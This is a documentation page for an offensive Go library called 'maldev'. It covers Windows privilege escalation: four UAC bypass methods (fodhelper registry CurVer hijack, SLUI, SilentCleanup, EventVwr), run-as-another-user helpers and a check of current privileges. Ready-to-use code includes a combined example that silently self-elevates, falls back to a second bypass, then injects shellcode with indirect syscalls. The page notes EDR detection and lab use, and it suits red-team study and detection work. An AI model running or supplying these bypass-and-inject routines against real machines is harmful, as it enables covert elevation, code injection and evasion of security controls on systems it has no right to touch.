Privilege Escalation

<- Back to Tokens Overview

MITRE ATT&CK: T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control D3FEND: D3-UAP - User Account Profiling


TL;DR

You're an admin account but your process runs at Medium IL (default user-mode posture; UAC didn't elevate you). To run as High IL without showing a UAC prompt, hijack one of Windows's auto-elevating binaries (fodhelper, sdclt, eventvwr, etc.).

You want to…UseCost
Bypass UAC via fodhelper registry hijackFodhelperBypassOne registry write (HKCU) — fodhelper auto-elevates and reads back the value
Discover other auto-elevate hijack candidates programmaticallyrecon/dllhijack.ScanAutoElevateCross-references autoElevate manifest + writable search paths

What this DOES achieve:

  • High IL (admin's full token) without UAC consent dialog — the auto-elevating binary runs your payload as part of its normal flow.
  • HKCU write only — no admin needed BEFORE the bypass; you use HKCU to redirect HKCR lookups that fodhelper makes.
  • Reverses cleanly — delete the registry key after the bypass fires.

What this does NOT achieve:

  • Doesn't work on Always-Notify UAC — when UAC slider is at the top, even auto-elevate binaries prompt. Default setting is one notch lower; bypass works there.
  • Detected by mature EDR — Microsoft Defender catches fodhelper UAC bypass since 2019; CrowdStrike / SentinelOne same. Use as a stepping stone in lab work, not as primary privesc on hardened hosts.
  • Already-admin token required — bypasses elevate Medium-IL admin to High-IL admin. They do NOT escalate standard user → admin. For that, see kernel exploits (e.g., privesc/cve202430088).
  • Microsoft patches these — every documented bypass has a finite shelf life. fodhelper, sdclt, eventvwr have all been patched at least once each. Check current Windows build before relying.

Primer

Even if you have an administrator account on Windows, your processes run with limited privileges by default. User Account Control (UAC) prevents automatic elevation -- you need to explicitly "Run as administrator" for each program.

Convincing the system you are the boss so you can access everything. Privilege escalation bypasses UAC by exploiting auto-elevating Windows programs (like fodhelper.exe) that run as high-integrity without prompting. You hijack their behavior to execute your code with elevated privileges.


How It Works

Escalation Methods

flowchart TD
    START["Need elevated\nprivileges"] --> Q1{"Have user\ncredentials?"}

    Q1 -->|Yes| Q2{"Need separate\nprocess?"}
    Q2 -->|"Yes (exec.Cmd)"| EXECAS["ExecAs()\nLogonUserW + SysProcAttr.Token"]
    Q2 -->|"Yes (CreateProcess)"| LOGON["CreateProcessWithLogon()\nCreateProcessWithLogonW"]
    Q2 -->|"No (same process)"| IMP["ImpersonateThread()\n(see impersonation.md)"]

    Q1 -->|No| Q3{"UAC prompt\nacceptable?"}
    Q3 -->|Yes| RUNAS["ShellExecuteRunAs()\n'runas' verb + UAC dialog"]
    Q3 -->|No| Q4{"Which UAC\nbypass?"}

    Q4 --> FOD["FODHelper()\nWin10+ CurVer hijack"]
    Q4 --> SLUI["SLUI()\nexefile handler hijack"]
    Q4 --> SILENT["SilentCleanup()\n%windir% env override"]
    Q4 --> EVT["EventVwr()\nmscfile handler hijack"]

    style EXECAS fill:#4a9,color:#fff
    style LOGON fill:#49a,color:#fff
    style RUNAS fill:#a94,color:#fff
    style FOD fill:#94a,color:#fff
    style SLUI fill:#94a,color:#fff
    style SILENT fill:#94a,color:#fff
    style EVT fill:#94a,color:#fff

UAC Bypass Mechanism (FODHelper Example)

sequenceDiagram
    participant Implant as "Implant (Medium IL)"
    participant Reg as "Registry (HKCU)"
    participant Fod as "fodhelper.exe (Auto-elevate)"
    participant Payload as "Payload (High IL)"

    Implant->>Reg: Create key:<br>HKCU\Software\Classes\{random}\shell\open\command
    Implant->>Reg: Set default value = "C:\payload.exe"
    Implant->>Reg: Create key:<br>HKCU\Software\Classes\ms-settings\CurVer
    Implant->>Reg: Set default value = "{random}"

    Implant->>Fod: cmd.exe /C fodhelper.exe
    Note over Fod: fodhelper.exe auto-elevates<br>(no UAC prompt)
    Fod->>Reg: Read ms-settings handler<br>CurVer -> {random}
    Reg-->>Fod: shell\open\command = "C:\payload.exe"
    Fod->>Payload: Launch payload as High IL

    Implant->>Reg: Clean up registry keys

Usage

ExecAs: Run a Process as Another User

import (
    "context"
    "github.com/oioio-space/maldev/win/privilege"
)

// Run cmd.exe as another user (returns exec.Cmd for lifetime management)
cmd, err := privilege.ExecAs(
    context.Background(),
    false,           // not domain-joined
    ".",             // local machine
    "admin",         // username
    "Password123!",  // password
    "cmd.exe",       // program
    "/C", "whoami",  // arguments
)
if err != nil {
    log.Fatal(err)
}

// IMPORTANT: Wait to avoid leaking the child process handle
cmd.Wait()

CreateProcessWithLogon

import "github.com/oioio-space/maldev/win/privilege"

err := privilege.CreateProcessWithLogon(
    "CORP",          // domain
    "admin",         // username
    "Password123!",  // password
    `C:\`,           // working directory
    "cmd.exe",       // program
    "/C", "whoami",  // arguments
)

ShellExecuteRunAs (UAC Prompt)

import "github.com/oioio-space/maldev/win/privilege"

// Prompts a UAC dialog for elevation
err := privilege.ShellExecuteRunAs(
    `C:\Windows\System32\cmd.exe`,
    `C:\`,
    "/C", "whoami /priv",
)

UAC Bypass: FODHelper

import "github.com/oioio-space/maldev/privesc/uac"

// Silently elevate via fodhelper.exe (Win10+, no UAC prompt)
err := uac.FODHelper(`C:\implant.exe`)

UAC Bypass: SilentCleanup

// Silently elevate via SilentCleanup scheduled task
err := uac.SilentCleanup(`C:\implant.exe`)

UAC Bypass: EventVwr

// Silently elevate via eventvwr.exe mscfile handler
err := uac.EventVwr(`C:\implant.exe`)

UAC Bypass: EventVwr with Alternate Credentials

// Elevate via eventvwr.exe using another user's credentials
err := uac.EventVwrLogon("CORP", "admin", "Password123!", `C:\implant.exe`)

Check Current Privileges

import "github.com/oioio-space/maldev/win/privilege"

admin, elevated, err := privilege.IsAdmin()
fmt.Printf("Admin group: %v, Elevated: %v\n", admin, elevated)

isMember, _ := privilege.IsAdminGroupMember()
fmt.Printf("Admin group member: %v\n", isMember)

Combined Example: Escalate + Inject

package main

import (
    "fmt"
    "log"
    "os"

    "github.com/oioio-space/maldev/inject"
    "github.com/oioio-space/maldev/privesc/uac"
    "github.com/oioio-space/maldev/win/privilege"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

func main() {
    // Check if already elevated
    _, elevated, _ := privilege.IsAdmin()
    if !elevated {
        // Self-elevate via FODHelper UAC bypass
        exePath, _ := os.Executable()
        if err := uac.FODHelper(exePath); err != nil {
            fmt.Println("UAC bypass failed, trying SLUI...")
            _ = uac.SLUI(exePath)
        }
        return // original process exits, elevated copy continues
    }

    // Now running elevated -- perform injection via indirect syscalls.
    inj, err := inject.NewWindowsInjector(&inject.WindowsConfig{
        Config:        inject.Config{Method: inject.MethodCreateThread},
        SyscallMethod: wsyscall.MethodIndirect,
    })
    if err != nil { log.Fatal(err) }

    shellcode := []byte{/* ... */}
    if err := inj.Inject(shellcode); err != nil { log.Fatal(err) }
}

Advantages & Limitations

Advantages

  • Four UAC bypass methods: FODHelper, SLUI, SilentCleanup, EventVwr cover Win10/Win11
  • Registry cleanup: All UAC bypass methods defer-delete their registry keys
  • Hidden windows: All spawned processes use SysProcAttr{HideWindow: true}
  • ExecAs returns exec.Cmd: Caller manages child process lifetime
  • Domain + local support: ExecAs adapts logon type for domain vs. local accounts

Limitations

  • UAC bypasses are well-known: EDR products monitor registry keys used by these techniques
  • Admin group required: UAC bypass only works for users already in the Administrators group
  • Credential exposure: ExecAs and CreateProcessWithLogon require plaintext passwords
  • EventVwr timing: 2-second sleep for eventvwr to read registry -- may fail under heavy load
  • No PPID spoofing: Spawned processes show the real parent PID

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/win/privilege is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

See also